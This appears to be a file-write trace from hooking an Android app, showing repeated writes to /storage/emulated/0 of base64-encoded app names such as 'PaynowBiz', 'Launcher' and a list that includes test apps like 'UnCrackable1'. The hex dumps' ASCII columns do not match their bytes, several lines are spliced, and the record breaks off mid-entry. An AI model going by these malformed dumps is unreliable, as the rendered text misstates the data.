[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 33 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 79 45  ....bm.o...j.+y.\n0010  70 4F 79 67 6C 56 30 6A 4D 41 3D 3D.\n0020  0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  .\n    [8144] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 29 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 76 73 68 4B 54 73  ...k......vsh..s\n0010  6F 4A 56 64 49 7A 55 3D 0A 3E 0D 0A..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 29 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 76 73 68 4B 54 73  ...k......vsh..s\n0010  6F 4A 56 64 49 7A 55 3D 0A 3E 0D 0A..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,335)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 653 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 71 79  ....bm.o...j.+qy\n0010  6A 4F 79 65 68 43 44 74 6D 4C 6E 73 6E 59 41 67  j.yeh..tm.nsn..g\n0020  37 4A 57 78 49 4F 71 79 67 4F 79 44 69 65 32 56  ......qyg.y.ie..\n0030  6D 
4F 71 34 73 43 77 67 37 4A 32 34 37 59 53 77  m.q.s.wg.......w\n0040  36 34 53 33 4C 43 42 55 62 32 39 73 0A 63 79 77  ........b..s.cyw\n0050  67 36 34 57 35 37 49 71 6B 49 4F 79 56 73 53 44  g......qk..y.s..\n0060  73 69 71 54 
74 68 71 44 73 6C 72 51 73 49 46 74  siq.thq.slr.s..t\n0070  51 51 31 33 72 6B 35 7A 72 6E 70 6A 71 73 36 54  ....rk.zrnpjqs..\n0080  73 6C 35 44 73 6C 72 51 67 4F 69 44 73 75 61 6A  sl..slr.g.i.suaj\n0090  72 72 4C 58 73 6E 5A 
67 67 0A 37 49 75 67 4C 43  rr..sn.gg...ug..\n00a0  42 47 59 57 4E 6C 59 6D 39 76 61 79 77 67 56 57  .....l.m.vaywg..\n00b0  35 6A 63 6D 46 6A 61 32 46 69 62 47 55 78 4C 43  .jcm.ja..ib.....\n00c0  42 51 59 58 6C 75 62 33 64 43 
61 58 6F 73 49 45  ....lub.d.a.os..\n00d0  6C 75 61 6E 56 79 5A 57 52 42 62 6D 52 79 62 32  luan.y....bm.yb.\n00e0  6C 6B 4C 43 42 53 0A 62 32 39 30 49 45 4E 6C 63  lk.....b......lc\n00f0  6E 52 70 5A 6D 6C 6A 59 58 52 6C 49 45 
31 68 62  n.p.mlj...l...hb\n0100  6D 46 6E 5A 58 49 73 49 45 46 75 5A 48 4A 76 52  m.n...s...u...v.\n0110  32 39 68 64 43 41 74 49 45 6C 75 63 32 56 6A 64  ..hd..t..luc..jd\n0120  58 4A 6C 49 45 46 77 63 43 41 6F 53 32 39 30 62 
 ..l...wc..o....b\n0130  47 6C 75 0A 4B 53 77 67 59 6E 4A 68 5A 47 56 7A  .lu...wg.n.h...z\n0140  59 32 38 73 49 4F 75 68 6E 4F 75 54 6E 43 44 72  ...s..uhn.u.n..r\n0150  71 71 6A 72 73 4A 54 73 6E 62 77 36 49 4F 32 44  qqjrs..snbw.....\n0160  67 4F 79 62 6A 43 44 72 6C 4A 54 74 6A 70 7A 73  g.ybj..rl..tjpzs\n0170  69 71 51 73 49 4F 79 61 6C 4F 71 30 74 43 44 72  iq.s..yal.q.t..r\n0180  0A 73 6F 7A 72 71 71 6E 71 76 72 77 36 49 4F 79  .sozrqqnqvrw...y\n0190  59 67 65 79 77 71 4F 79 59 67 65 79 77 71 43 77  .geywq.y.geywq.w\n01a0  67 36 37 4F 30 36 36 79 38 37 4A 32 30 37 4A 57  g......y........\n01b0  38 49 4F 75 57 71 4F 79 57 74 4F 79 67 75 4F 75  ...u.q.y.t.ygu.u\n01c0  64 76 43 77 67 37 4C 32 63 49 4F 79 59 0A 70 4F  dv.wg...c..y..p.\n01d0  75 34 6A 43 44 72 6B 35 7A 72 6E 70 6A 71 73 36  u.j..rk.zrnpjqs.\n01e0  54 73 70 6F 67 73 49 4F 71 77 6E 4F 32 4D 6B 4F  .spogs..qwn...k.\n01f0  79 59 70 4F 75 32 68 4F 79 67 68 43 77 67 36 34  y.p.u.h.ygh.wg..\n0200  32 77 36 37 69 55 54 53 77 67 37 5A 53 38 36 36  .w..i...wg......\n0210  65 64 49 4F 32 50 72 4F 79 37 0A 70 44 6F 67 37  ed....r.y..p.og.\n0220  4C 6D 30 37 4B 65 41 36 34 57 34 49 4F 75 68 6E  .m...e.......uhn\n0230  4F 79 57 68 43 67 33 37 59 2B 73 37 4C 75 6B 4C  .y.h.g...+s..uk.\n0240  4F 75 68 6E 4F 79 61 73 4F 75 77 6C 4F 75 52 6B  .uhn.yas.uwl.u.k\n0250  65 79 64 74 43 7A 74 6C 5A 6A 73 6E 62 54 72 6F  eydt.ztl.jsnb.ro\n0260  5A 7A 73 6D 72 41 70 0A 4C 43 44 72 73 4A 54 73  .zsmr.p....rs..s\n0270  6E 62 54 74 67 72 6B 67 36 35 32 38 37 4A 32 30  nb.tgrkg........\n0280  37 4B 61 49 58 53 4D 31 0A 3E 0D 0A 0A..\n00 0 [7536] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 21 bytes from 0  ([unknow]):
0000  37 49 53 6B 37 4B 43 56 49 31 74 64 49 7A 41 3D  ...k......td.z..\n0010  0A 3E 0D 0A 0A 00 00 00 00 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 41 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 32 5A  ....bm.o...j.+..\n0010  69 43 44 74 6D 5A 54 72 71 62 51 67..\n53 3 [8144] bytes of zeroesn0020  58 53 4D 31 0A 3E 0D 0A 0A 00 00 00 00 00 00 00  ......
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 41 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 2B 32 5A  ....bm.o...j.+..\n0010  69 43 44 74 6D 5A 54 72 71 62 51 67..\n53 3 [8144] bytes of zeroesn0020  58 53 4D 31 0A 3E 0D 0A 0A 00 00 00 00 00 00 00  ......
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 37 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 42 68  ....bm.o...j...h\n0010  65 57 35 76 64 30 4A 70 65 6C 30 6A..\n41 3 [8144] bytes of zeroesn0020  0A 3E 0D 0A 0A 00 00 00 00 00 00 00 00 00 00 00  ..
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileInputStream.read.2] Read from file,offset,len ([unknow],0,332)
         [336] bytes of zeroes
---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 55 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  54 47 46 31 62 6D 4E 6F 5A 58 49 6A 57 31 30 6A  ....bm.o...j...j\n0010  4D 41 3D 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
0000  55 47 46 35 62 6D 39 33 51 6D 6C 36 49 31 74 64  ....bm...ml...td\n0010  49 7A 41 3D 0A 3E 0D 0A 0A 00 00 00..\n00 0 [8160] bytes of zeroes
---------------------------
[Java::File.new.1] New file : /storage/emulated/0
---------------------------
[Java::FileOuputStream.new.1] New output stream to file ([unknow]):

---------------------------
[Java::FileOuputStream.write.2] Write 25 bytes from 0  ([unknow]):
